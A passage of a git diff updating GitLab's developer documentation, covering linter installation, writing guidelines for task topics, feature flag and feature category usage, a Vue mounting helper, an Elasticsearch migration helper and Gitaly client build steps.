guidelines: ### Install linters -At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in -build pipelines: +At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in build pipelines. -1. Install `markdownlint-cli`: +#### Install markdownlint - ```shell - yarn global add markdownlint-cli - ``` +You can install either `markdownlint-cli` or `markdownlint-cli2` to run `markdownlint`. + +To install `markdownlint-cli`, run: + +```shell +yarn global add markdownlint-cli +``` + +To install `markdownlint-cli2`, run: - We recommend installing the version of `markdownlint-cli` - [used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml) when building - the `image:docs-lint-markdown`. +```shell +yarn global add markdownlint-cli2 +``` + +You should install the version of `markdownlint-cli` or `markdownlint-cli2` +[used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml) when building +the `image:docs-lint-markdown`. + +#### Install Vale -1. Install [`vale`](https://github.com/errata-ai/vale/releases). To install for: +To install Install [`vale`](https://github.com/errata-ai/vale/releases) for: - - macOS using `brew`, run: `brew install vale`. - - Linux, use your distribution's package manager or a [released binary](https://github.com/errata-ai/vale/releases). +- macOS using `brew`, run: `brew install vale`. +- Linux, use your distribution's package manager or a [released binary](https://github.com/errata-ai/vale/releases). These tools can be [integrated with your code editor](#configure-editors). @@ -391,16 +404,18 @@ These tools can be [integrated with your code editor](#configure-editors). It's important to use linter versions that are the same or newer than those run in CI/CD. This provides access to new features and possible bug fixes. -To match the versions of `markdownlint-cli` and `vale` used in the GitLab projects, refer to the +To match the versions of `markdownlint-cli` (or `markdownlint-cli2`) and `vale` used in the GitLab projects, refer to the [versions used (see `variables:` section)](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/main/.gitlab-ci.yml) when building the `image:docs-lint-markdown` Docker image containing these tools for CI/CD. -| Tool | Version | Command | Additional information | -|--------------------|-----------|--------------------------------------------------------|------------------------| -| `markdownlint-cli` | Latest | `yarn global add markdownlint-cli` | None. | -| `markdownlint-cli` | Specific | `yarn global add markdownlint-cli@0.23.2` | The `@` indicates a specific version, and this example updates the tool to version `0.23.2`. | -| Vale | Latest | `brew update && brew upgrade vale` | This command is for macOS only. | -| Vale | Specific | Not applicable. | Binaries can be [directly downloaded](https://github.com/errata-ai/vale/releases). | +| Tool | Version | Command | Additional information | +|:--------------------|:---------|:------------------------------------------|:---------------------------------------------------------------------------------------------| +| `markdownlint-cli` | Latest | `yarn global add markdownlint-cli` | None. | +| `markdownlint-cli2` | Latest | `yarn global add markdownlint-cli2` | None. | +| `markdownlint-cli` | Specific | `yarn global add markdownlint-cli@0.23.2` | The `@` indicates a specific version, and this example updates the tool to version `0.23.2`. | +| `markdownlint-cli` | Specific | `yarn global add markdownlint-cli@0.6.0` | The `@` indicates a specific version, and this example updates the tool to version `0.6.0`. | +| Vale | Latest | `brew update && brew upgrade vale` | This command is for macOS only. | +| Vale | Specific | Not applicable. | Binaries can be [directly downloaded](https://github.com/errata-ai/vale/releases). | ### Configure editors @@ -410,6 +425,15 @@ command line. To configure markdownlint in your editor, install one of the following as appropriate: - Sublime Text [`SublimeLinter-contrib-markdownlint` package](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint). + This package uses `markdownlint-cli` by default, but can be configured to use `markdownlint-cli2` with this + SublimeLinter configuration: + + ```json + "markdownlint": { + "executable": [ "markdownlint-cli2" ] + } + ``` + - Visual Studio Code [`DavidAnson.vscode-markdownlint` extension](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint). - Vim [ALE plugin](https://github.com/dense-analysis/ale). @@ -463,7 +487,7 @@ Git [pre-push hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) a - Avoid pushing a branch if failures occur with these tests. [`lefthook`](https://github.com/Arkweid/lefthook) is a Git hooks manager, making configuring, -installing, and removing Git hooks easy. +installing, and removing Git hooks simpler. Configuration for `lefthook` is available in the [`lefthook.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lefthook.yml) file for the [`gitlab`](https://gitlab.com/gitlab-org/gitlab) project. @@ -509,7 +533,7 @@ You can set Visual Studio Code to display only a subset of Vale alerts when view To display only a subset of Vale alerts when running Vale from the command line, use the `--minAlertLevel` flag, which accepts `error`, `warning`, or `suggestion`. Combine it with `--config` -to point to the configuration file within the project, if needed: +to point to the configuration file in the project, if needed: ```shell vale --config .vale.ini --minAlertLevel error doc/**/*.md diff --git a/doc/development/documentation/topic_types/task.md b/doc/development/documentation/topic_types/task.md index 0dba3e079b6..8d23a5f322e 100644 --- a/doc/development/documentation/topic_types/task.md +++ b/doc/development/documentation/topic_types/task.md @@ -45,7 +45,7 @@ To create an issue: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Issues > List**. -1. In the top right corner, select **New issue**. +1. In the upper-right corner, select **New issue**. 1. Complete the fields. (If you have reference content that lists each field, link to it here.) 1. Select **Create issue**. @@ -57,8 +57,70 @@ The issue is created. You can view it by going to **Issues > List**. For the title text, use the structure `active verb` + `noun`. For example, `Create an issue`. -If you have several tasks on a page that share prerequisites, you can use the title -`Prerequisites` and link to it. +If several tasks on a page share prerequisites, you can create a separate +topic with the title `Prerequisites`. + +### When more than one way exists to perform a task + +If more than one way exists to perform a task in the UI, you should +document the primary way only. + +However, sometimes you must document multiple ways to perform a task. +When this situation occurs: + +- Introduce the task as usual. Then, for each way of performing the task, add a topic title. +- Nest the topic titles one level below the task topic title. +- List the tasks in descending order, with the most likely method first. +- Make the task titles as brief as possible. When possible, + use `infinitive` + `noun`. + +Here is an example. + +```markdown +# Change the default branch name + +You can change the default branch name for the instance or group. +If the name is set for the instance, you can override it for a group. + +## For the instance + +Prerequisites: + +- You must have at least the Maintainer role for the instance. + +To change the default branch name for an instance: + +1. Step. +1. Step. + +## For the group + +Prerequisites: + +- You must have at least the Developer role for the group. + +To change the default branch name for a group: + +1. Step. +1. Step. +``` + +### To perform the task in the UI and API + +Usually an API exists to perform the same task that you perform in the UI. + +When this situation occurs: + +- Do not use a separate heading for a one-sentence link to the API. +- Do not include API examples in the **Use GitLab** documentation. API examples + belong in the API documentation. If you have GraphQL examples, put them on + their own page, because the API documentation might move some day. +- Do not mention the API if you do not need to. Users can search for + the API documentation, and extra linking adds clutter. +- If someone feels strongly that you mention the API, at the end + of the UI task, add this sentence: + + `To create an issue, you can also [use the API](link).` ## Task introductions diff --git a/doc/development/documentation/versions.md b/doc/development/documentation/versions.md index 334dcd73ea5..30a0d4d4cf4 100644 --- a/doc/development/documentation/versions.md +++ b/doc/development/documentation/versions.md @@ -13,7 +13,7 @@ including when features were introduced and when they were updated or removed. ## View older documentation versions Previous versions of the documentation are available on `docs.gitlab.com`. -To view a previous version, select the **Versions** button in the top right. +To view a previous version, select the **Versions** button in the upper right. To view versions that are not available on `docs.gitlab.com`: @@ -118,6 +118,22 @@ To deprecate a page or topic: You can add any additional context-specific details that might help users. +1. Add the following HTML comments above and below the content. + For the `remove_date`, set a date three months after the release where it + was deprecated. + + ```markdown + <!--- start_remove The following content will be removed on remove_date: 'YYYY-MM-DD' --> + + ## Title (deprecated) **(ULTIMATE SELF)** + + WARNING: + This feature was [deprecated](<link-to-issue>) in GitLab 14.8 + and is planned for removal in 15.4. Use [feature X](<link-to-issue>) instead. + + <!--- end_remove --> + ``` + 1. Open a merge request to add the word `(deprecated)` to the left nav, after the page title. ### Remove a page diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index 3c73030aceb..fe5453a4a58 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -15,21 +15,36 @@ Anyone can contribute to the GitLab documentation! You can create a merge reques If you are working on a feature or enhancement, use the [feature workflow process described in the GitLab Handbook](https://about.gitlab.com/handbook/product/ux/technical-writing/workflow/#documentation-for-a-product-change). +## Do not use ChatGPT or AI-generated content for the docs + +GitLab documentation is distributed under the [CC BY-SA 4.0 license](https://creativecommons.org/licenses/by-sa/4.0/), which presupposes that GitLab owns the documentation. + +Under current law in the US and the EU, it’s possible that AI-generated works might either: + +- not be owned by anyone because they weren't created by a human, or +- belong to the AI training data’s creator, if the AI verbatim reproduces content that it trained on + +If the documentation contains AI-generated content, GitLab probably wouldn't own this content, which would risk invalidating the CC BY-SA 4.0 license. + +Contributions to GitLab documentation are made under either our [DCO or our CLA terms](https://about.gitlab.com/community/contribute/dco-cla/). In both, contributors have to make certain certifications about the authorship of their work that they can't validly make for AI-generated text. + +For these reasons, do not add AI-generated content to the documentation. + ## How to update the docs If you are not a GitLab team member, or do not have the Developer role for the GitLab repository, to update GitLab documentation: 1. Select an [issue](https://about.gitlab.com/handbook/product/ux/technical-writing/#community-contribution-opportunities) you'd like to work on. - - You don't need an issue to open a merge request. - For a Hackathon, mention `@docs-hackathon` in a comment and ask for the issue to be assigned to you. To be fair to other contributors, if you see someone has already asked to work on the issue, choose another issue. + - If you're not taking part in a Hackathon, you don't need an issue to open a merge request. If you are looking for issues to work on and don't see any that suit you, you can always fix [Vale](testing.md#vale) issues. 1. Go to the [GitLab repository](https://gitlab.com/gitlab-org/gitlab). -1. In the top right, select **Fork**. Forking makes a copy of the repository on GitLab.com. +1. In the upper right, select **Fork**. Forking makes a copy of the repository on GitLab.com. 1. In your fork, find the documentation page in the `\doc` directory. 1. If you know Git, make your changes and open a merge request. If not, follow these steps: - 1. On the top right, select **Edit** if it is visible. If it is not, select the down arrow (**{chevron-lg-down}**) next to **Open in Web IDE** or **Gitpod**, and select **Edit**. + 1. In the upper right, select **Edit** if it is visible. If it is not, select the down arrow (**{chevron-lg-down}**) next to **Open in Web IDE** or **Gitpod**, and select **Edit**. 1. In the **Commit message** text box, enter a commit message. Use 3-5 words, start with a capital letter, and do not end with a period. 1. Select **Commit changes**. 1. On the left sidebar, select **Merge requests**. diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 961a47e005b..935964a9a90 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -276,6 +276,50 @@ class MigrationName < Elastic::Migration end ``` +#### `Elastic::MigrationRemoveFieldsHelper` + +Removes specified fields from an index. + +Requires the `index_name`, `document_type` methods. If there is one field to remove, add the `field_to_remove` method, otherwise add `fields_to_remove` with an array of fields. + +Checks in batches if any documents that match `document_type` have the fields specified in Elasticsearch. If documents exist, uses a Painless script to perform `update_by_query`. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationRemoveFieldsHelper + + batched! + throttle_delay 1.minute + + private + + def index_name + User.__elasticsearch__.index_name + end + + def document_type + 'user' + end + + def fields_to_remove + %w[two_factor_enabled has_projects] + end +end +``` + +The default batch size is `10_000`. You can override this value by specifying `BATCH_SIZE`: + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationRemoveFieldsHelper + + batched! + BATCH_SIZE = 100 + + ... +end +``` + #### `Elastic::MigrationObsolete` Marks a migration as obsolete when it's no longer required. diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md index e185cd702a4..fd5b0ea15e6 100644 --- a/doc/development/experiment_guide/index.md +++ b/doc/development/experiment_guide/index.md @@ -63,3 +63,7 @@ We recommend the following workflow: 1. **If the experiment is a success**, designers add the new icon or illustration to the Pajamas UI kit as part of the cleanup process. Engineers can then add it to the [SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/) and modify the implementation based on the [Frontend Development Guidelines](../fe_guide/icons.md#usage-in-hamlrails-2). + +## Related topics + +- [Experiments API](../../api/experiments.md) diff --git a/doc/development/fe_guide/customizable_dashboards.md b/doc/development/fe_guide/customizable_dashboards.md index 7e7718f8e60..26c73b26126 100644 --- a/doc/development/fe_guide/customizable_dashboards.md +++ b/doc/development/fe_guide/customizable_dashboards.md @@ -19,7 +19,7 @@ To use customizable dashboards: 1. Create your dashboard component. 1. Render an instance of `CustomizableDashboard`. -1. Pass a list of widgets to render. +1. Pass a list of panels to render. For example, a customizable dashboard for users over time: @@ -35,10 +35,10 @@ export default { }, data() { return { - widgets: [ + panels: [ { - component: 'CubeLineChart', // The name of the widget component. - title: s__('ProductAnalytics|Users / Time'), // The title shown on the widget component. + component: 'CubeLineChart', // The name of the panel component. + title: s__('ProductAnalytics|Users / Time'), // The title shown on the panel component. // Gridstack settings based upon https://github.com/gridstack/gridstack.js/tree/master/doc#item-options. // All values are grid row/column numbers up to 12. // We use the default 12 column grid https://github.com/gridstack/gridstack.js#change-grid-columns. @@ -50,22 +50,22 @@ export default { xPos: 0, yPos: 0, }, - // Options that are used to set bespoke values for each widget. - // Available customizations are determined by the widget itself. + // Options that are used to set bespoke values for each panel. + // Available customizations are determined by the panel itself. customizations: {}, - // Chart options defined by the charting library being used by the widget. + // Chart options defined by the charting library being used by the panel. chartOptions: { xAxis: { name: __('Time'), type: 'time' }, yAxis: { name: __('Counts') }, }, - // The data for the widget. - // This could be imported or in this case, a query passed to be used by the widgets API. - // Each widget type determines how it handles this property. + // The data for the panel. + // This could be imported or in this case, a query passed to be used by the panels API. + // Each panel type determines how it handles this property. data: { query: { users: { - measures: ['Jitsu.count'], - dimensions: ['Jitsu.eventType'], + measures: ['TrackedEvents.count'], + dimensions: ['TrackedEvents.eventType'], }, }, }, @@ -78,20 +78,20 @@ export default { <template> <h1>{{ s__('ProductAnalytics|Analytics dashboard') }}</h1> - <customizable-dashboard :widgets="widgets" /> + <customizable-dashboard :panels="panels" /> </template> ``` -The widgets data can be retrieved from a file or API request, or imported through HTML data attributes. +The panels data can be retrieved from a file or API request, or imported through HTML data attributes. -For each widget, a `component` is defined. Each `component` is a component declaration and should be included in -[`vue_shared/components/customizable_dashboard/widgets_base.vue`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/assets/javascripts/vue_shared/components/customizable_dashboard/widgets_base.vue) +For each panel, a `component` is defined. Each `component` is a component declaration and should be included in +[`vue_shared/components/customizable_dashboard/panels_base.vue`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/app/assets/javascripts/vue_shared/components/customizable_dashboard/panels_base.vue) as a dynamic import, to keep the memory usage down until it is used. For example: ```javascript components: { - CubeLineChart: () => import('ee/product_analytics/dashboards/components/widgets/cube_line_chart.vue') + CubeLineChart: () => import('ee/product_analytics/dashboards/components/panels/cube_line_chart.vue') } ``` diff --git a/doc/development/fe_guide/design_anti_patterns.md b/doc/development/fe_guide/design_anti_patterns.md index 07de86f5810..f087fbd8235 100644 --- a/doc/development/fe_guide/design_anti_patterns.md +++ b/doc/development/fe_guide/design_anti_patterns.md @@ -67,9 +67,7 @@ side-effects can be notoriously difficult to reason with. ### References -To read more on this topic, check out the following references: - -- [GlobalVariablesAreBad from C2 wiki](https://wiki.c2.com/?GlobalVariablesAreBad) +For more information, see [Global Variables Are Bad on the C2 wiki](https://wiki.c2.com/?GlobalVariablesAreBad). ## Singleton (Anti-pattern) @@ -175,7 +173,7 @@ export const fuzzify = (id) => { /* ... */ }; #### Dependency Injection [Dependency Injection](https://en.wikipedia.org/wiki/Dependency_injection) is an approach which breaks -coupling by declaring a module's dependencies to be injected from outside the module (for example, through constructor parameters, a bona-fide Dependency Injection framework, and even Vue's `provide/inject`). +coupling by declaring a module's dependencies to be injected from outside the module (for example, through constructor parameters, a bona-fide Dependency Injection framework, and even in Vue `provide/inject`). ```javascript // bad - Vue component coupled to Singleton diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index 0fec38b1200..8ae0458e47c 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -14,7 +14,7 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo **General resources**: - [📚 Official Introduction to GraphQL](https://graphql.org/learn/) -- [📚 Official Introduction to Apollo](https://www.apollographql.com/tutorials/fullstack-quickstart/introduction) +- [📚 Official Introduction to Apollo](https://www.apollographql.com/tutorials/fullstack-quickstart/01-introduction) **GraphQL at GitLab**: @@ -87,7 +87,7 @@ where needed. You can check all existing queries and mutations on the right side of GraphiQL in its **Documentation explorer**. You can also write queries and mutations directly on the left tab and check -their execution by clicking **Execute query** button on the top left: +their execution by selecting **Execute query** in the upper left:  diff --git a/doc/development/fe_guide/style/javascript.md b/doc/development/fe_guide/style/javascript.md index 0536d1c5c77..3e3a79dd7bb 100644 --- a/doc/development/fe_guide/style/javascript.md +++ b/doc/development/fe_guide/style/javascript.md @@ -41,12 +41,12 @@ instead. ```javascript // bad -function a(p1, p2, p3) { +function a(p1, p2, p3, p4) { // ... }; // good -function a(p) { +function a({ p1, p2, p3, p4 }) { // ... }; ``` diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md index b84f41311b6..aed7310e95d 100644 --- a/doc/development/fe_guide/style/scss.md +++ b/doc/development/fe_guide/style/scss.md @@ -212,13 +212,3 @@ catch any warnings. If the Rake task is throwing warnings you don't understand, SCSS Lint's documentation includes [a full list of their rules](https://stylelint.io/user-guide/rules/). - -### Fixing issues - -If you want to automate changing a large portion of the codebase to conform to -the SCSS style guide, you can use [CSSComb](https://github.com/csscomb/csscomb.js). First install -[Node](https://github.com/nodejs/node) and [npm](https://www.npmjs.com/), then run `npm install csscomb -g` to install -CSSComb globally (system-wide). Run it in the GitLab directory with -`csscomb app/assets/stylesheets` to automatically fix issues with CSS/SCSS. - -Note that this doesn't fix every problem, but it should fix a majority. diff --git a/doc/development/fe_guide/view_component.md b/doc/development/fe_guide/view_component.md index f9d148d8b82..0245110ec75 100644 --- a/doc/development/fe_guide/view_component.md +++ b/doc/development/fe_guide/view_component.md @@ -10,8 +10,8 @@ ViewComponent is a framework for creating reusable, testable & encapsulated view components with Ruby on Rails, without the need for a JavaScript framework like Vue. They are rendered server-side and can be seamlessly used with template languages like [Haml](haml.md). -Refer to the official [documentation](https://viewcomponent.org/) to learn more or -watch this [introduction video](https://youtu.be/akRhUbvtnmo). +For more information, see the [official documentation](https://viewcomponent.org/) or +[this introduction video](https://youtu.be/akRhUbvtnmo). ## Browse components with Lookbook diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md index 779010b8aa1..cea47bc0e4c 100644 --- a/doc/development/fe_guide/vue.md +++ b/doc/development/fe_guide/vue.md @@ -72,6 +72,54 @@ The advantage of providing data from the DOM to the Vue instance through `props` `provide` in the `render` function, instead of querying the DOM inside the main Vue component, is that you avoid creating a fixture or an HTML element in the unit test. +##### The `initSimpleApp` helper + +`initSimpleApp` is a helper function that streamlines the process of mounting a component in Vue.js. It accepts two arguments: a selector string representing the mount point in the HTML, and a Vue component. + +To use `initSimpleApp`, include the HTML element in the page with the appropriate selector and add a data-view-model attribute containing a JSON object. Then, import the desired Vue component and pass it along with the selector to `initSimpleApp`. This mounts the component at the specified location. + +`initSimpleApp` automatically retrieves the content of the data-view-model attribute as a JSON object and passes it as props to the mounted Vue component. This can be used to pre-populate the component with data. + +Example: + +```vue +//my_component.vue +<template> + <div> + <p>Prop1: {{ prop1 }}</p> + <p>Prop2: {{ prop2 }}</p> + </div> +</template> + +<script> +export default { + name: 'MyComponent', + props: { + prop1: { + type: String, + required: true + }, + prop2: { + type: Number, + required: true + } + } +} +</script> +``` + +```html +<div id="js-my-element" data-view-model='{"prop1": "my object", "prop2": 42 }'></div> +``` + +```javascript +//index.js +import MyComponent from './my_component.vue' +import initSimpleApp from '~/helpers/init_simple_app_helper' + +initSimpleApp('#js-my-element', MyComponent) +``` + ##### `provide` and `inject` Vue supports dependency injection through [`provide` and `inject`](https://v2.vuejs.org/v2/api/#provide-inject). diff --git a/doc/development/feature_categorization/index.md b/doc/development/feature_categorization/index.md index 7f275f25c3d..dad94a2aae2 100644 --- a/doc/development/feature_categorization/index.md +++ b/doc/development/feature_categorization/index.md @@ -166,7 +166,7 @@ specific routes: ```ruby module API class Users < ::API::Base - feature_category :users, ['/users/:id/custom_attributes', '/users/:id/custom_attributes/:key'] + feature_category :user_profile, ['/users/:id/custom_attributes', '/users/:id/custom_attributes/:key'] end end ``` @@ -176,7 +176,7 @@ Or the feature category can be specified in the action itself: ```ruby module API class Users < ::API::Base - get ':id', feature_category: :users do + get ':id', feature_category: :user_profile do end end end @@ -191,7 +191,7 @@ within that class. You must set feature category metadata for each RSpec example. This information is used for flaky test issues to identify the group that owns the feature. -The `feature_category` should be a value from [`categories.json`](https://about.gitlab.com/categories.json). +The `feature_category` should be a value from [`config/feature_categories.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/feature_categories.yml). The `feature_category` metadata can be set: @@ -208,23 +208,21 @@ Example: For examples that don't have a `feature_category` set we add a warning when running them in local environment. -In order to disable the warning use `RSPEC_WARN_MISSING_FEATURE_CATEGORY=false` when running RSpec tests: +To disable the warning use `RSPEC_WARN_MISSING_FEATURE_CATEGORY=false` when running RSpec tests: ```shell RSPEC_WARN_MISSING_FEATURE_CATEGORY=false bin/rspec spec/<test_file> ``` -### Excluding specs from feature categorization - -In the rare case an action cannot be tied to a feature category this -can be done using the `not_owned` feature category. - -```ruby -RSpec.describe Utils, feature_category: :not_owned do -``` +Additionally, we flag the offenses via `RSpec/MissingFeatureCategory` RuboCop rule. ### Tooling feature category For Engineering Productivity internal tooling we use `feature_category: :tooling`. For example in [`spec/tooling/danger/specs_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/tooling/danger/specs_spec.rb#L12). + +### Shared feature category + +For features that support developers and they are not specific to a product group we use `feature_category: :shared` +For example [`spec/lib/gitlab/job_waiter_spec.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/lib/gitlab/job_waiter_spec.rb) diff --git a/doc/development/feature_development.md b/doc/development/feature_development.md index 874a56555fb..141b24161b4 100644 --- a/doc/development/feature_development.md +++ b/doc/development/feature_development.md @@ -22,7 +22,7 @@ Consult these topics for information on contributing to specific GitLab features - [Software design guides](software_design.md) - [GitLab EventStore](event_store.md) to publish/subscribe to domain events - [GitLab utilities](utilities.md) -- [Newlines style guide](newlines_styleguide.md) +- [Newlines style guide](backend/ruby_style_guide.md#newlines-style-guide) - [Logging](logging.md) - [Dealing with email/mailers](emails.md) - [Kubernetes integration guidelines](kubernetes.md) @@ -81,7 +81,7 @@ Consult these topics for information on contributing to specific GitLab features - [Working with Gitaly](gitaly.md) - [Elasticsearch integration docs](elasticsearch.md) - [Working with merge request diffs](diffs.md) -- [Approval Rules](approval_rules.md) +- [Approval Rules](merge_request_concepts/approval_rules.md) - [Repository mirroring](repository_mirroring.md) - [Uploads development guide](uploads/index.md) - [Auto DevOps development guide](auto_devops.md) diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index f1eafc2a95a..3adf5248b8d 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -196,7 +196,22 @@ enabled for only the `gitlab` project. The project is passed by supplying a /chatops run feature set --project=gitlab-org/gitlab some_feature true ``` -For groups the `--group` flag is available: +You can use the `--user` option to enable a feature flag for a specific user: + +```shell +/chatops run feature set --user=myusername some_feature true +``` + +If you would like to gather feedback internally first, +feature flags scoped to a user can also be enabled +for GitLab team members with the `gitlab_team_members` +[feature group](index.md#feature-groups): + +```shell +/chatops run feature set --feature-group=gitlab_team_members some_feature true +``` + +You can use the `--group` flag to enable a feature flag for a specific group: ```shell /chatops run feature set --group=gitlab-org some_feature true diff --git a/doc/development/feature_flags/index.md b/doc/development/feature_flags/index.md index 5ff4292dfb6..7370697b082 100644 --- a/doc/development/feature_flags/index.md +++ b/doc/development/feature_flags/index.md @@ -39,20 +39,25 @@ should be leveraged: existing feature flag because a feature is deemed stable must have the ~"feature flag" label assigned. -When the feature implementation is delivered among multiple merge requests: - - 1. [Create a new feature flag](#create-a-new-feature-flag) - which is **off** by default, in the first merge request which uses the flag. - Flags [should not be added separately](#risk-of-a-broken-main-branch). - 1. Submit incremental changes via one or more merge requests, ensuring that any - new code added can only be reached if the feature flag is **on**. - You can keep the feature flag enabled on your local GDK during development. - 1. When the feature is ready to be tested, enable the feature flag for - a specific project and ensure that there are no issues with the implementation. - 1. When the feature is ready to be announced, create a merge request that adds - documentation about the feature, including [documentation for the feature flag itself](../documentation/feature_flags.md), - and a [changelog entry](#changelog). In the same merge request either flip the feature flag to - be **on by default** or remove it entirely to enable the new behavior. +When the feature implementation is delivered over multiple merge requests: + +1. [Create a new feature flag](#create-a-new-feature-flag) + which is **off** by default, in the first merge request which uses the flag. + Flags [should not be added separately](#risk-of-a-broken-main-branch). +1. Submit incremental changes via one or more merge requests, ensuring that any + new code added can only be reached if the feature flag is **on**. + You can keep the feature flag enabled on your local GDK during development. +1. When the feature is ready to be tested by other team members, [create the initial documentation](../documentation/feature_flags.md#when-to-document-features-behind-a-feature-flag). + Include details about the status of the [feature flag](../documentation/feature_flags.md#how-to-add-feature-flag-documentation). +1. Enable the feature flag for a specific project and ensure that there are no issues + with the implementation. Do not enable the feature flag for a public project + like `gitlab` if there is no documentation. Team members and contributors might search for + documentation on how to use the feature if they see it enabled in a public project. +1. When the feature is ready for production use, open a merge request to: + - Update the documentation to describe the latest flag status. + - Add a [changelog entry](#changelog). + - Flip the feature flag to be **on by default** or remove it entirely + to enable the new behavior. One might be tempted to think that feature flags will delay the release of a feature by at least one month (= one release). This is not the case. A feature @@ -454,6 +459,18 @@ dynamic (querying the DB, for example). Once defined in `lib/feature.rb`, you can to activate a feature for a given feature group via the [`feature_group` parameter of the features API](../../api/features.md#set-or-create-a-feature) +The available feature groups are: + +| Group name | Scoped to | Description | +| --------------------- | --------- | ----------- | +| `gitlab_team_members` | Users | Enables the feature for users who are members of [`gitlab-com`](https://gitlab.com/gitlab-com) | + +Feature groups can be enabled via the group name: + +```ruby +Feature.enable(:feature_flag_name, :gitlab_team_members) +``` + ### Enabling a feature flag locally (in development) In the rails console (`rails c`), enter the following command to enable a feature flag: diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md index a23f1dd2d80..b4f5501ccac 100644 --- a/doc/development/gitaly.md +++ b/doc/development/gitaly.md @@ -219,19 +219,31 @@ as a [CI/CD variable](../ci/variables/index.md). If you are making changes to the RPC client, such as adding a new endpoint or adding a new parameter to an existing endpoint, follow the guide for -[Gitaly protobuf specifications](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/protobuf.md). After pushing -the branch with the changes (`new-feature-branch`, for example): +[Gitaly protobuf specifications](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/protobuf.md). Then: + +1. Run `bundle install` in the `tools/protogem` directory of Gitaly. +1. Build the RPC client gem from the root directory of Gitaly: + + ```shell + BUILD_GEM_OPTIONS=--skip-verify-tag make build-proto-gem + ``` + +1. In the `_build` directory of Gitaly, unpack the newly created `.gem` file and create a `gemspec`: + + ```shell + gem unpack gitaly.gem && + gem spec gitaly.gem > gitaly/gitaly.gemspec + ``` 1. Change the `gitaly` line in the Rails' `Gemfile` to: ```ruby - gem 'gitaly', git: 'https://gitlab.com/gitlab-org/gitaly.git', branch: 'new-feature-branch' + gem 'gitaly', path: '../gitaly/_build' ``` 1. Run `bundle install` to use the modified RPC client. -Re-run `bundle install` in the `gitlab` project each time the Gitaly branch -changes to embed a new SHA in the `Gemfile.lock` file. +Re-run steps 2-5 each time you want to try out new changes. --- diff --git a/doc/development/gitlab_flavored_markdown/specification_guide/index.md b/doc/development/gitlab_flavored_markdown/specification_guide/index.md index 79a4ac9b49a..806ac3837bf 100644 --- a/doc/development/gitlab_flavored_markdown/specification_guide/index.md +++ b/doc/development/gitlab_flavored_markdown/specification_guide/index.md @@ -514,29 +514,30 @@ of how the normalizations are specified. Given all the constraints above, we can summarize the various goals related to the GLFM specification and testing infrastructure: -1. A canonical `spec.txt` exists, and represents the official specification for - GLFM, which meets these requirements: - 1. The spec is a strict superset of the GitHub Flavored Markdown +1. There is an official specification and single source of truth for how GLFM should render Markdown to HTML. + This source of truth is represented by three Markdown files: + 1. [`ghfm_spec_v_?.??.md`](#github-flavored-markdown-specification) for the CommonMark + GFM examples. + 1. [`glfm_official_specification.md`](#glfm_official_specificationmd) for the GLFM official examples. + 1. [`glfm_internal_extensions.md`](#glfm_internal_extensionsmd) for the GLFM internal extensions. +1. This official specification meets these requirements: + 1. The specification is a strict superset of the GitHub Flavored Markdown (GFM) specification, just as <abbr title="GitHub Flavored Markdown">GFM</abbr> is a strict superset [of the CommonMark specification](https://github.github.com/gfm/#what-is-github-flavored-markdown-). 1. Therefore, it contains the superset of all [Markdown examples](#markdown-examples) for CommonMark and GFM, as well as the GLFM [official specification](#official-specifications) and [internal extensions](#internal-extensions). - 1. It contains a prose introduction section which is specific to GitLab and GLFM. - 1. It contains all other non-introduction sections verbatim from the - [GFM specification](#github-flavored-markdown-specification). - 1. It contains new, extra sections for all the additional Markdown contained in the GLFM + 1. It contains sections and examples for all the additional Markdown contained in the GLFM [official specification](#official-specifications) and [internal extensions](#internal-extensions), - with [Markdown examples](#markdown-examples) and accompanying prose, just like the CommonMark and GFM examples. - 1. All its headers and [Markdown examples](#markdown-examples) should be in the standard format which can be processed by the standard + with [Markdown examples](#markdown-examples) and any accompanying prose, just like the CommonMark and GFM examples. + 1. All headers and [Markdown examples](#markdown-examples) should be in the standard format, which can be processed by the standard CommonMark tool [`spec_tests.py`](https://github.com/github/cmark-gfm/blob/master/test/spec_tests.py) used to perform [Markdown conformance testing](#markdown-conformance-testing) against all examples contained in a `spec.txt`. 1. The GLFM parsers and HTML renderers for both the static backend (Ruby) and WYSIWYG frontend (JavaScript) implementations support _consistent_ rendering of all canonical Markdown + HTML examples in the - GLFM `spec.txt` specification, as verified by `spec_tests.py`. + specification, as verified by [`run-spec-tests.sh`](#run-spec-testssh-script). NOTE: Consistent does not mean that both of these implementations render @@ -616,26 +617,41 @@ them from the corresponding implementation class 